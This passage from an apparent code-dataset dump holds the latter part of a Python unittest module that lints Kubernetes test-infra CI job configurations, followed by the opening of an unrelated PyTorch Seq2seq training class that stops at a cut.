(\n key, value)) # Use simple strings\n # Things to check on specific flavors.\n job_name = check(real_job, name)\n self.assertTrue(job_name)\n self.assertEquals(job_name, real_job.get('job-name'))\n\n def get_real_bootstrap_job(self, job):\n key = os.path.splitext(job.strip())[0]\n if not key in self.realjobs:\n for yamlf in self.yaml_suffix:\n self.load_bootstrap_yaml(yamlf)\n self.load_prow_yaml(self.prow_config)\n self.assertIn(key, sorted(self.realjobs)) # sorted for clearer error message\n return self.realjobs.get(key)\n\n def test_valid_env(self):\n for job, job_path in self.jobs:\n with open(job_path) as fp:\n data = fp.read()\n if 'kops' in job: # TODO(fejta): update this one too\n continue\n self.assertNotIn(\n 'JENKINS_USE_LOCAL_BINARIES=',\n data,\n 'Send --extract=local to config.json, not JENKINS_USE_LOCAL_BINARIES in %s' % job)\n self.assertNotIn(\n 'JENKINS_USE_EXISTING_BINARIES=',\n data,\n 'Send --extract=local to config.json, not JENKINS_USE_EXISTING_BINARIES in %s' % job) # pylint: disable=line-too-long\n\n def test_valid_timeout(self):\n \"\"\"All jobs set a timeout less than 120m or set DOCKER_TIMEOUT.\"\"\"\n default_timeout = int(re.search(\n r'\\$\\{DOCKER_TIMEOUT:-(\\d+)m',\n open('%s/dockerized-e2e-runner.sh' % os.path.dirname(__file__)).read()\n ).group(1))\n bad_jobs = set()\n with open(bootstrap.test_infra('jobs/config.json')) as fp:\n config = json.loads(fp.read())\n\n for job, job_path in self.jobs:\n job_name = job.rsplit('.', 1)[0]\n modern = config.get(job_name, {}).get('scenario') in [\n 'kubernetes_e2e',\n 'kubernetes_kops_aws',\n ]\n valids = [\n 'kubernetes-e2e-',\n 'kubernetes-kubemark-',\n 'kubernetes-soak-',\n 'kubernetes-federation-e2e-',\n 'kops-e2e-',\n ]\n\n if not re.search('|'.join(valids), job):\n continue\n with open(job_path) as fp:\n lines = list(l for l in fp if not l.startswith('#'))\n container_timeout = default_timeout\n kubetest_timeout = None\n for line in lines: # Validate old pattern no longer used\n if line.startswith('### Reporting'):\n bad_jobs.add(job)\n if '{rc}' in line:\n bad_jobs.add(job)\n if job.endswith('.sh'): # --json=False type jobs, TODO(fejta): deprecate\n for line in lines:\n if line.startswith('export DOCKER_TIMEOUT='):\n container_timeout = int(re.match(\n r'export DOCKER_TIMEOUT=\"(\\d+)m\".*', line).group(1))\n if 'KUBEKINS_TIMEOUT=' not in line:\n continue\n mat = re.match(r'export KUBEKINS_TIMEOUT=\"(\\d+)m\".*', line)\n self.assertTrue(mat, 'Bad KUBEKINS_TIMEOUT in %s' % job)\n kubetest_timeout = int(mat.group(1))\n elif not modern:\n realjob = self.get_real_bootstrap_job(job)\n self.assertTrue(realjob)\n self.assertIn('timeout', realjob, job)\n container_timeout = int(realjob['timeout'])\n for line in lines:\n if 'DOCKER_TIMEOUT=' in line:\n self.fail('Set docker timeout in bootstrap yaml: %s' % job)\n if 'KUBEKINS_TIMEOUT=' not in line:\n continue\n mat = re.match(r'KUBEKINS_TIMEOUT=(\\d+)m.*', line)\n self.assertTrue(mat, line)\n kubetest_timeout = int(mat.group(1))\n else:\n realjob = self.get_real_bootstrap_job(job)\n self.assertTrue(realjob)\n self.assertIn('timeout', realjob, job)\n container_timeout = int(realjob['timeout'])\n for line in lines:\n if 'DOCKER_TIMEOUT=' in line:\n self.fail('Set container timeout in prow and/or bootstrap yaml: %s' % job)\n if 'KUBEKINS_TIMEOUT=' in line:\n self.fail(\n 'Set kubetest --timeout in config.json, not KUBEKINS_TIMEOUT: %s'\n % job\n )\n for arg in config[job_name]['args']:\n if arg == '--timeout=None':\n bad_jobs.add(('Must specify a timeout', job, arg))\n mat = re.match(r'--timeout=(\\d+)m', arg)\n if not mat:\n continue\n kubetest_timeout = int(mat.group(1))\n if kubetest_timeout is None:\n self.fail('Missing timeout: %s' % job)\n if kubetest_timeout > container_timeout:\n bad_jobs.add((job, kubetest_timeout, container_timeout))\n elif kubetest_timeout + 20 > container_timeout:\n bad_jobs.add((\n 'insufficient kubetest leeway',\n job, kubetest_timeout, container_timeout\n ))\n\n\n if bad_jobs:\n self.fail('\\n'.join(str(s) for s in bad_jobs))\n\n def test_only_jobs(self):\n \"\"\"Ensure that everything in jobs/ is a valid job name and script.\"\"\"\n for job, job_path in self.jobs:\n # Jobs should have simple names: letters, numbers, -, .\n self.assertTrue(re.match(r'[.0-9a-z-_]+.(sh|env)', job), job)\n # Jobs should point to a real, executable file\n # Note: it is easy to forget to chmod +x\n self.assertTrue(os.path.isfile(job_path), job_path)\n self.assertFalse(os.path.islink(job_path), job_path)\n if job.endswith('.sh'):\n self.assertTrue(os.access(job_path, os.X_OK|os.R_OK), job_path)\n else:\n self.assertTrue(os.access(job_path, os.R_OK), job_path)\n\n def test_all_project_are_unique(self):\n # pylint: disable=line-too-long\n allowed_list = {\n # The cos image validation jobs intentionally share projects.\n 'ci-kubernetes-e2e-gce-cosdev-k8sdev-default.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosdev-k8sdev-serial.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosdev-k8sdev-slow.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosdev-k8sstable1-default.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosdev-k8sstable1-serial.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosdev-k8sstable1-slow.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosdev-k8sbeta-default.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosdev-k8sbeta-serial.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosdev-k8sbeta-slow.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosbeta-k8sdev-default.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosbeta-k8sdev-serial.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosbeta-k8sdev-slow.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosbeta-k8sbeta-default.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosbeta-k8sbeta-serial.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosbeta-k8sbeta-slow.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosbeta-k8sstable1-default.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosbeta-k8sstable1-serial.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosbeta-k8sstable1-slow.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosbeta-k8sstable2-default.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosbeta-k8sstable2-serial.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosbeta-k8sstable2-slow.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosstable1-k8sdev-default.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosstable1-k8sdev-serial.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosstable1-k8sdev-slow.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosstable1-k8sbeta-default.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosstable1-k8sbeta-serial.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosstable1-k8sbeta-slow.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosstable1-k8sstable1-default.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosstable1-k8sstable1-serial.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosstable1-k8sstable1-slow.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosstable1-k8sstable2-default.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosstable1-k8sstable2-serial.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosstable1-k8sstable2-slow.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosstable1-k8sstable3-default.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosstable1-k8sstable3-serial.env': 'ci-kubernetes-e2e-gce-cos*',\n 'ci-kubernetes-e2e-gce-cosstable1-k8sstable3-slow.env': 'ci-kubernetes-e2e-gce-cos*',\n\n # The ubuntu image validation jobs intentionally share projects.\n 'ci-kubernetes-e2e-gce-ubuntudev-k8sdev-default.env': 'ci-kubernetes-e2e-gce-ubuntu*',\n 'ci-kubernetes-e2e-gce-ubuntudev-k8sdev-serial.env': 'ci-kubernetes-e2e-gce-ubuntu*',\n 'ci-kubernetes-e2e-gce-ubuntudev-k8sdev-slow.env': 'ci-kubernetes-e2e-gce-ubuntu*',\n 'ci-kubernetes-e2e-gce-ubuntudev-k8sbeta-default.env': 'ci-kubernetes-e2e-gce-ubuntu*',\n 'ci-kubernetes-e2e-gce-ubuntudev-k8sbeta-serial.env': 'ci-kubernetes-e2e-gce-ubuntu*',\n 'ci-kubernetes-e2e-gce-ubuntudev-k8sbeta-slow.env': 'ci-kubernetes-e2e-gce-ubuntu*',\n 'ci-kubernetes-e2e-gce-ubuntudev-k8sstable1-default.env': 'ci-kubernetes-e2e-gce-ubuntu*',\n 'ci-kubernetes-e2e-gce-ubuntudev-k8sstable1-serial.env': 'ci-kubernetes-e2e-gce-ubuntu*',\n 'ci-kubernetes-e2e-gce-ubuntudev-k8sstable1-slow.env': 'ci-kubernetes-e2e-gce-ubuntu*',\n 'ci-kubernetes-e2e-gce-ubuntustable1-k8sdev-default.env': 'ci-kubernetes-e2e-gce-ubuntu*',\n 'ci-kubernetes-e2e-gce-ubuntustable1-k8sdev-serial.env': 'ci-kubernetes-e2e-gce-ubuntu*',\n 'ci-kubernetes-e2e-gce-ubuntustable1-k8sdev-slow.env': 'ci-kubernetes-e2e-gce-ubuntu*',\n 'ci-kubernetes-e2e-gce-ubuntustable1-k8sstable1-default.env': 'ci-kubernetes-e2e-gce-ubuntu*',\n 'ci-kubernetes-e2e-gce-ubuntustable1-k8sstable1-serial.env': 'ci-kubernetes-e2e-gce-ubuntu*',\n 'ci-kubernetes-e2e-gce-ubuntustable1-k8sstable1-slow.env': 'ci-kubernetes-e2e-gce-ubuntu*',\n 'ci-kubernetes-e2e-gce-ubuntustable1-k8sstable2-default.env': 'ci-kubernetes-e2e-gce-ubuntu*',\n 'ci-kubernetes-e2e-gce-ubuntustable1-k8sstable2-serial.env': 'ci-kubernetes-e2e-gce-ubuntu*',\n 'ci-kubernetes-e2e-gce-ubuntustable1-k8sstable2-slow.env': 'ci-kubernetes-e2e-gce-ubuntu*',\n 'ci-kubernetes-e2e-gke-ubuntustable1-k8sstable1-alphafeatures.env': 'ci-kubernetes-e2e-gke-ubuntu*',\n 'ci-kubernetes-e2e-gke-ubuntustable1-k8sstable1-autoscaling.env': 'ci-kubernetes-e2e-gke-ubuntu*',\n 'ci-kubernetes-e2e-gke-ubuntustable1-k8sstable1-default.env': 'ci-kubernetes-e2e-gke-ubuntu*',\n 'ci-kubernetes-e2e-gke-ubuntustable1-k8sstable1-flaky.env': 'ci-kubernetes-e2e-gke-ubuntu*',\n 'ci-kubernetes-e2e-gke-ubuntustable1-k8sstable1-ingress.env': 'ci-kubernetes-e2e-gke-ubuntu*',\n 'ci-kubernetes-e2e-gke-ubuntustable1-k8sstable1-reboot.env': 'ci-kubernetes-e2e-gke-ubuntu*',\n 'ci-kubernetes-e2e-gke-ubuntustable1-k8sstable1-serial.env': 'ci-kubernetes-e2e-gke-ubuntu*',\n 'ci-kubernetes-e2e-gke-ubuntustable1-k8sstable1-slow.env': 'ci-kubernetes-e2e-gke-ubuntu*',\n 'ci-kubernetes-e2e-gke-ubuntustable1-k8sstable1-updown.env': 'ci-kubernetes-e2e-gke-ubuntu*',\n # The 1.5 and 1.6 scalability jobs intentionally share projects.\n 'ci-kubernetes-e2e-gce-scalability-release-1-7.env': 'ci-kubernetes-e2e-gce-scalability-release-*',\n 'ci-kubernetes-e2e-gce-scalability-release-1-6.env': 'ci-kubernetes-e2e-gce-scalability-release-*',\n 'ci-kubernetes-e2e-gci-gce-scalability-release-1-7.env': 'ci-kubernetes-e2e-gci-gce-scalability-release-*',\n 'ci-kubernetes-e2e-gci-gce-scalability-release-1-6.env': 'ci-kubernetes-e2e-gci-gce-scalability-release-*',\n # TODO(fejta): remove these (found while migrating jobs)\n 'ci-kubernetes-kubemark-100-gce.env': 'ci-kubernetes-kubemark-*',\n 'ci-kubernetes-kubemark-5-gce.env': 'ci-kubernetes-kubemark-*',\n 'ci-kubernetes-kubemark-high-density-100-gce.env': 'ci-kubernetes-kubemark-*',\n 'ci-kubernetes-kubemark-gce-scale.env': 'ci-kubernetes-scale-*',\n 'ci-kubernetes-e2e-gce-enormous-cluster.env': 'ci-kubernetes-scale-*',\n 'ci-kubernetes-e2e-gce-enormous-deploy.env': 'ci-kubernetes-scale-*',\n 'ci-kubernetes-e2e-gce-enormous-teardown.env': 'ci-kubernetes-scale-*',\n 'ci-kubernetes-e2e-gke-large-cluster.env': 'ci-kubernetes-scale-*',\n 'ci-kubernetes-e2e-gke-large-deploy.env': 'ci-kubernetes-scale-*',\n 'ci-kubernetes-e2e-gke-large-teardown.env': 'ci-kubernetes-scale-*',\n 'ci-kubernetes-federation-build.sh': 'ci-kubernetes-federation-*',\n 'ci-kubernetes-e2e-gce-federation.env': 'ci-kubernetes-federation-*',\n 'pull-kubernetes-federation-e2e-gce.env': 'pull-kubernetes-federation-e2e-gce-*',\n 'ci-kubernetes-pull-gce-federation-deploy.env': 'pull-kubernetes-federation-e2e-gce-*',\n 'pull-kubernetes-federation-e2e-gce-canary.env': 'pull-kubernetes-federation-e2e-gce-*',\n 'ci-kubernetes-pull-gce-federation-deploy-canary.env': 'pull-kubernetes-federation-e2e-gce-*',\n 'pull-kubernetes-e2e-gce.env': 'pull-kubernetes-e2e-gce-*',\n 'pull-kubernetes-e2e-gce-canary.env': 'pull-kubernetes-e2e-gce-*',\n }\n # pylint: enable=line-too-long\n projects = collections.defaultdict(set)\n boskos = []\n with open(bootstrap.test_infra('boskos/resources.json')) as fp:\n for rtype in json.loads(fp.read()):\n if rtype['type'] == 'gce-project' or rtype['type'] == 'gke-project':\n for name in rtype['names']:\n boskos.append(name)\n\n for job, job_path in self.jobs:\n with open(job_path) as fp:\n lines = list(fp)\n for line in lines:\n line = line.strip()\n if not line.startswith('PROJECT='):\n continue\n if '-soak-' in job: # Soak jobs have deploy/test pairs\n job = job.replace('-test', '-*').replace('-deploy', '-*')\n if job.startswith('ci-kubernetes-node-'):\n job = 'ci-kubernetes-node-*'\n if not line.startswith('#') and job.endswith('.sh'):\n self.assertIn('export', line, line)\n if job.endswith('.sh'):\n project = re.search(r'PROJECT=\"([^\"]+)\"', line).group(1)\n else:\n project = re.search(r'PROJECT=([^\"]+)', line).group(1)\n if project in boskos:\n self.fail('Project %s cannot be in boskos/resources.json!' % project)\n projects[project].add(allowed_list.get(job, job))\n duplicates = [(p, j) for p, j in projects.items() if len(j) > 1]\n if duplicates:\n self.fail('Jobs duplicate projects:\\n %s' % (\n '\\n '.join('%s: %s' % t for t in duplicates)))\n\n def test_jobs_do_not_source_shell(self):\n for job, job_path in self.jobs:\n if job.startswith('pull-'):\n continue # No clean way to determine version\n with open(job_path) as fp:\n script = fp.read()\n self.assertFalse(re.search(r'\\Wsource ', script), job)\n self.assertNotIn('\\n. ', script, job)\n\n def test_all_bash_jobs_have_errexit(self):\n options = {\n 'errexit',\n 'nounset',\n 'pipefail',\n }\n for job, job_path in self.jobs:\n if not job.endswith('.sh'):\n continue\n with open(job_path) as fp:\n lines = list(fp)\n for option in options:\n expected = 'set -o %s\\n' % option\n self.assertIn(\n expected, lines,\n '%s not found in %s' % (expected, job_path))\n\n def test_envs_no_export(self):\n for job, job_path in self.jobs:\n if not job.endswith('.env'):\n continue\n with open(job_path) as fp:\n lines = list(fp)\n for line in lines:\n line = line.strip()\n self.assertFalse(line.endswith('\\\\'))\n if not line:\n continue\n if line.startswith('#'):\n continue\n if not re.match(r'[0-9A-Z_]+=[^\\n]*', line):\n self.fail('[%r]: Env %r: need to follow FOO=BAR pattern' % (job, line))\n if '#' in line:\n self.fail('[%r]: Env %r: No inline comments' % (job, line))\n if '\"' in line or '\\'' in line:\n self.fail('[%r]: Env %r: No quote in env' % (job, line))\n if '$' in line:\n self.fail('[%r]: Env %r: Please resolve variables in env file' % (job, line))\n if '{' in line or '}' in line:\n self.fail('[%r]: Env %r: { and } are not allowed in env files' % (job, line))\n\n # also test for https://github.com/kubernetes/test-infra/issues/2829\n # TODO(fejta): sort this list\n black = [\n ('CHARTS_TEST=', '--charts-tests'),\n ('E2E_DOWN=', '--down=true|false'),\n ('E2E_NAME=', '--cluster=whatever'),\n ('E2E_PUBLISH_PATH=', '--publish=gs://FOO'),\n ('E2E_TEST=', '--test=true|false'),\n ('E2E_UPGRADE_TEST=', '--upgrade_args=FOO'),\n ('E2E_UP=', '--up=true|false'),\n ('E2E_OPT=', 'Send kubetest the flags directly'),\n ('FAIL_ON_GCP_RESOURCE_LEAK=', '--check-leaked-resources=true|false'),\n ('FEDERATION_DOWN=', '--down=true|false'),\n ('FEDERATION_UP=', '--up=true|false'),\n ('GINKGO_TEST_ARGS=', '--test_args=FOO'),\n ('GINKGO_UPGRADE_TEST_ARGS=', '--upgrade_args=FOO'),\n ('JENKINS_FEDERATION_PREFIX=', '--stage=gs://FOO'),\n ('JENKINS_PUBLISHED_VERSION=', '--extract=V'),\n ('JENKINS_PUBLISHED_SKEW_VERSION=', '--extract=V'),\n ('JENKINS_USE_SKEW_KUBECTL=', 'SKEW_KUBECTL=y'),\n ('JENKINS_USE_SKEW_TESTS=', '--skew'),\n ('JENKINS_SOAK_MODE', '--soak'),\n ('JENKINS_SOAK_PREFIX', '--stage=gs://FOO'),\n ('JENKINS_USE_EXISTING_BINARIES=', '--extract=local'),\n ('JENKINS_USE_LOCAL_BINARIES=', '--extract=none'),\n ('JENKINS_USE_SERVER_VERSION=', '--extract=gke'),\n ('JENKINS_USE_GCI_VERSION=', '--extract=gci/FAMILY'),\n ('JENKINS_USE_GCI_HEAD_IMAGE_FAMILY=', '--extract=gci/FAMILY'),\n ('KUBEKINS_TIMEOUT=', '--timeout=XXm'),\n ('PERF_TESTS=', '--perf'),\n ('SKEW_KUBECTL=', '--test_args=--kubectl-path=FOO'),\n ('USE_KUBEMARK=', '--kubemark'),\n ]\n for env, fix in black:\n if 'kops' in job and env in [\n 'JENKINS_PUBLISHED_VERSION=',\n 'GINKGO_TEST_ARGS=',\n ]:\n continue # TOOD(fejta): migrate kops jobs\n if env in line:\n self.fail('[%s]: Env %s: Convert %s to use %s in jobs/config.json' % (\n job, line, env, fix))\n\n\n def test_no_bad_vars_in_jobs(self):\n \"\"\"Searches for jobs that contain ${{VAR}}\"\"\"\n for job, job_path in self.jobs:\n with open(job_path) as fp:\n script = fp.read()\n bad_vars = re.findall(r'(\\${{.+}})', script)\n if bad_vars:\n self.fail('Job %s contains bad bash variables: %s' % (job, ' '.join(bad_vars)))\n\n def test_valid_job_envs(self):\n \"\"\"Validate jobs/config.json.\"\"\"\n self.load_prow_yaml(self.prow_config)\n config = bootstrap.test_infra('jobs/config.json')\n owners = bootstrap.test_infra('jobs/validOwners.json')\n with open(config) as fp, open(owners) as ownfp:\n config = json.loads(fp.read())\n valid_owners = json.loads(ownfp.read())\n for job in config:\n # onwership assertions\n self.assertIn('sigOwners', config[job], job)\n self.assertIsInstance(config[job]['sigOwners'], list, job)\n self.assertTrue(config[job]['sigOwners'], job) # non-empty\n owners = config[job]['sigOwners']\n for owner in owners:\n self.assertIsInstance(owner, basestring, job)\n self.assertIn(owner, valid_owners, job)\n\n # env assertions\n self.assertTrue('scenario' in config[job], job)\n scenario = bootstrap.test_infra('scenarios/%s.py' % config[job]['scenario'])\n self.assertTrue(os.path.isfile(scenario), job)\n self.assertTrue(os.access(scenario, os.X_OK|os.R_OK), job)\n has_matching_env = False\n right_mode = True\n for arg in config[job].get('args', []):\n if arg == '--mode=docker':\n if job in self.prowjobs:\n right_mode = False\n match = re.match(r'--env-file=([^\\\"]+)\\.env', arg)\n if match:\n env = match.group(1)\n if env == 'jobs/%s' % job:\n has_matching_env = True\n path = bootstrap.test_infra('%s.env' % env)\n self.assertTrue(\n os.path.isfile(path),\n '%s does not exist for %s' % (path, job))\n elif 'kops' not in job:\n match = re.match(r'--cluster=([^\\\"]+)', arg)\n if match:\n cluster = match.group(1)\n self.assertLessEqual(\n len(cluster), 20,\n 'Job %r, --cluster should be 20 chars or fewer' % job\n )\n if config[job]['scenario'] == 'kubernetes_e2e':\n args = config[job]['args']\n self.assertNotIn('--charts-tests', args) # Use --charts\n if any('--check_version_skew' in a for a in args):\n self.fail('Use --check-version-skew, not --check_version_skew in %s' % job)\n if '--check-leaked-resources=true' in args:\n self.fail('Use --check-leaked-resources (no value) in %s' % job)\n if '--check-leaked-resources==false' in args:\n self.fail(\n 'Remove --check-leaked-resources=false (default value) from %s' % job)\n if (\n '--env-file=jobs/pull-kubernetes-e2e.env' in args\n and '--check-leaked-resources' in args):\n self.fail('PR job %s should not check for resource leaks' % job)\n # Consider deleting any job with --check-leaked-resources=false\n if (\n '--env-file=jobs/platform/gce.env' not in args\n and '--env-file=jobs/platform/gke.env' not in args\n and '--check-leaked-resources' in args\n and 'generated' not in config[job].get('tags', [])):\n self.fail('Only GCP jobs can --check-leaked-resources, not %s' % job)\n if '--mode=local' in args:\n self.fail('--mode=local is default now, drop that for %s' % job)\n\n extracts = [a for a in args if '--extract=' in a]\n if not extracts:\n self.fail('e2e job needs --extract flag: %s %s' % (job, args))\n if any(s in job for s in [\n 'upgrade', 'skew', 'downgrade', 'rollback',\n 'ci-kubernetes-e2e-gce-canary',\n ]):\n expected = 2\n else:\n expected = 1\n if len(extracts) != expected:\n self.fail('Wrong number of --extract args (%d != %d) in %s' % (\n len(extracts), expected, job))\n self.assertTrue(has_matching_env, 'jobs/%s.env does not exist' % job)\n self.assertTrue(right_mode, '%s: prow does not support docker mode' % job)\n\n has_image_family = any(\n [x for x in args if x.startswith('--image-family')])\n has_image_project = any(\n [x for x in args if x.startswith('--image-project')])\n docker_mode = any(\n [x for x in args if x.startswith('--mode=docker')])\n if (\n (has_image_family or has_image_project)\n and docker_mode):\n self.fail('--image-family / --image-project is not '\n 'supported in docker mode: %s' % job)\n if has_image_family != has_image_project:\n self.fail('--image-family and --image-project must be'\n 'both set or unset: %s' % job)\n\n if job.startswith('pull-kubernetes-'):\n self.assertIn('--cluster=', args)\n if 'gke' in job:\n stage = 'gs://kubernetes-release-dev/ci'\n suffix = True\n elif 'kubeadm' in job:\n # kubeadm-based jobs use out-of-band .deb artifacts,\n # not the --stage flag.\n continue\n else:\n stage = 'gs://kubernetes-release-pull/ci/%s' % job\n suffix = False\n self.assertIn('--stage=%s' % stage, args)\n self.assertEquals(\n suffix,\n any('--stage-suffix=' in a for a in args),\n ('--stage-suffix=', suffix, job, args))\n\n\nif __name__ == '__main__':\n unittest.main()\n", "source": "mikedanese/test-infra", "license": "Apache-2.0"} {"text": "# coding:utf-8\nimport logging\nimport time\nimport os\n\nimport torch\nfrom torch import nn, optim\nimport numpy as np\nimport tqdm\n\nfrom utils import Storage, cuda, BaseModel, SummaryHelper, get_mean, storage_to_list, \\\n\tCheckpointManager, LongTensor\nfrom network import Network\n\nclass Seq2seq(BaseModel):\n\tdef __init__(self, param):\n\t\targs = param.args\n\t\tnet = Network(param)\n\t\tself.optimizer = optim.Adam(net.get_parameters_by_name(), lr=args.lr)\n\t\toptimizerList = {\"optimizer\": self.optimizer}\n\t\tcheckpoint_manager = CheckpointManager(args.name, args.model_dir, \\\n\t\t\t\t\t\targs.checkpoint_steps, args.checkpoint_max_to_keep, \"min\")\n\t\tsuper().__init__(param, net, optimizerList, checkpoint_manager)\n\n\t\tself.create_summary()\n\n\tdef create_summary(self):\n\t\targs = self.param.args\n\t\tself.summaryHelper = SummaryHelper(\"%s/%s_%s\" % \\\n\t\t\t\t(args.log_dir, args.name, time.strftime(\"%H%M%S\", time.localtime())), \\\n\t\t\t\targs)\n\t\tself.trainSummary = self.summaryHelper.addGroup(\\\n\t\t\tscalar=[\"loss\", \"word_loss\", \"perplexity\"],\\\n\t\t\tprefix=\"train\")\n\n\t\tscalarlist = [\"word_loss\", \"perplexity_avg_on_batch\"]\n\t\ttensorlist = []\n\t\ttextlist = []\n\t\temblist = []\n\t\tfor i in self.args.show_sample:\n\t\t\ttextlist.append(\"show_str%d\" % i)\n\t\tself.devSummary = self.summaryHelper.addGroup(\\\n\t\t\tscalar=scalarlist,\\\n\t\t\ttensor=tensorlist,\\\n\t\t\ttext=textlist,\\\n\t\t\tembedding=emblist,\\\n\t\t\tprefix=\"dev\")\n\t\tself.testSummary = self.summaryHelper.addGroup(\\\n\t\t\tscalar=scalarlist,\\\n\t\t\ttensor=tensorlist,\\\n\t\t\ttext=textlist,\\\n\t\t\tembedding=emblist,\\\n\t\t\tprefix=\"test\")\n\n\tdef _preprocess_batch(self, data):\n\t\tincoming = Storage()\n\t\tincoming.data = data = Storage(data)\n\t\tdata.batch_size = data.post.shape[0]\n\t\tdata.post = cuda(torch.LongTensor(data.post.transpose(1, 0))) # length * batch_size\n\t\tdata.resp = cuda(torch.LongTensor(data.resp.transpose(1, 0))) # length * batch_size\n\t\treturn incoming\n\n\tdef get_next_batch(self, dm, key, restart=True):\n\t\tdata = dm.get_next_batch(key)\n\t\tif data is None:\n\t\t\tif restart:\n\t\t\t\tdm.restart(key)\n\t\t\t\treturn self.get_next_batch(dm, key, False)\n\t\t\telse:\n\t\t\t\treturn None\n\t\treturn self._preprocess_batch(data)\n\n\tdef get_batches(self, dm, key):\n\t\tbatches = list(dm.get_batches(key, batch_size=self.args.batch_size, shuffle=False))\n\t\treturn len(batches), (self._preprocess_batch(data) for data in batches)\n\n\tdef get_select_batch(self, dm, key, i):\n\t\tdata = dm.get_batch(key, i)\n\t\tif data is None:\n\t\t\treturn None\n\t\treturn self._preprocess_batch(data)\n\n\tdef train(self, batch_num):\n\t\targs = self.param.args\n\t\tdm = self.param.volatile.dm\n\t\tdatakey = 'train'\n\n\t\tfor i in range(batch_num):\n\t\t\tself.now_batch += 1\n\t\t\tincoming = self.get_next_batch(dm, datakey)\n\t\t\tincoming.args = Storage()\n\n\t\t\tif (i+1) % args.batch_num_per_gradient == 0:\n\t\t\t\tself.zero_grad()\n\t\t\tself.net.forward(incoming)\n\n\t\t\tloss = incoming.result.loss\n\t\t\tself.trainSummary(self.now_batch, storage_to_list(incoming.result))\n\t\t\tlogging.info(\"batch %d : gen loss=%f\", self.now_batch, loss.detach().cpu().numpy())\n\n\t\t\tloss.backward()\n\n\t\t\tif (i+1) % args.batch_num_per_gradient == 0:\n\t\t\t\tnn.utils.clip_grad_norm_(self.net.parameters(), args.grad_clip)\n\t\t\t\tself.optimizer.step()\n\n\tdef evaluate(self, key):\n\t\targs = self.param.args\n\t\tdm = self.param.volatile.dm\n\n\t\tdm.restart(key, args.batch_size, shuffle=False)\n\n\t\tresult_arr = []\n\t\twhile True:\n\t\t\tincoming = self.get_next_batch(dm, key, restart=False)\n\t\t\tif incoming is None:\n\t\t\t\tbreak\n\t\t\tincoming.args = Storage()\n\n\t\t\twith torch.no_grad():\n\t\t\t\tself.net.forward(incoming)\n\t\t\tresult_arr.append(incoming.result)\n\n\t\tdetail_arr = Storage()\n\t\tfor i in args.show_sample:\n\t\t\tindex = [i * args.batch_size + j for j in range(args.batch_size)]\n\t\t\tincoming = self.get_select_batch(dm, key, index)\n\t\t\tincoming.args = Storage()\n\t\t\twith torch.no_grad():\n\t\t\t\tself.net.detail_forward(incoming)\n\t\t\tdetail_arr[\"show_str%d\" % i] = incoming.result.show_str\n\n\t\tdetail_arr.update({key:get_mean(result_arr, key) for key in result_arr[0]})\n\t\tdetail_arr.perplexity_avg_on_batch = np.exp(detail_arr.word_loss)\n\t\treturn detail_arr\n\n\tdef train_process(self):\n\t\targs = self.param.args\n\t\tdm = self.param.volatile.dm\n\n\t\twhile self.now_epoch < args.epochs:\n\t\t\tself.now_epoch += 1\n\t\t\tself.updateOtherWeights()\n\n\t\t\tdm.restart('train', args.batch_size)\n\t\t\tself.net.train()\n\t\t\tself.train(args.batch_per_epoch)\n\n\t\t\tself.net.eval()\n\t\t\tdevloss_detail = self.evaluate(\"dev\")\n\t\t\tself.devSummary(self.now_batch, devloss_detail)\n\t\t\tlogging.info(\"epoch %d, evaluate dev\", self.now_epoch)\n\n\t\t\ttestloss_detail = self.evaluate(\"test\")\n\t\t\tself.testSummary(self.now_batch, testloss_detail)\n\t\t\tlogging.info(\"epoch %d, evaluate test\", self.now_epoch)\n\n\t\t\tself.save_checkpoint(value=devloss_detail.loss.tolist())\n\n\tdef test(self, key):\n\t\targs = self.param.args\n\t\tdm = 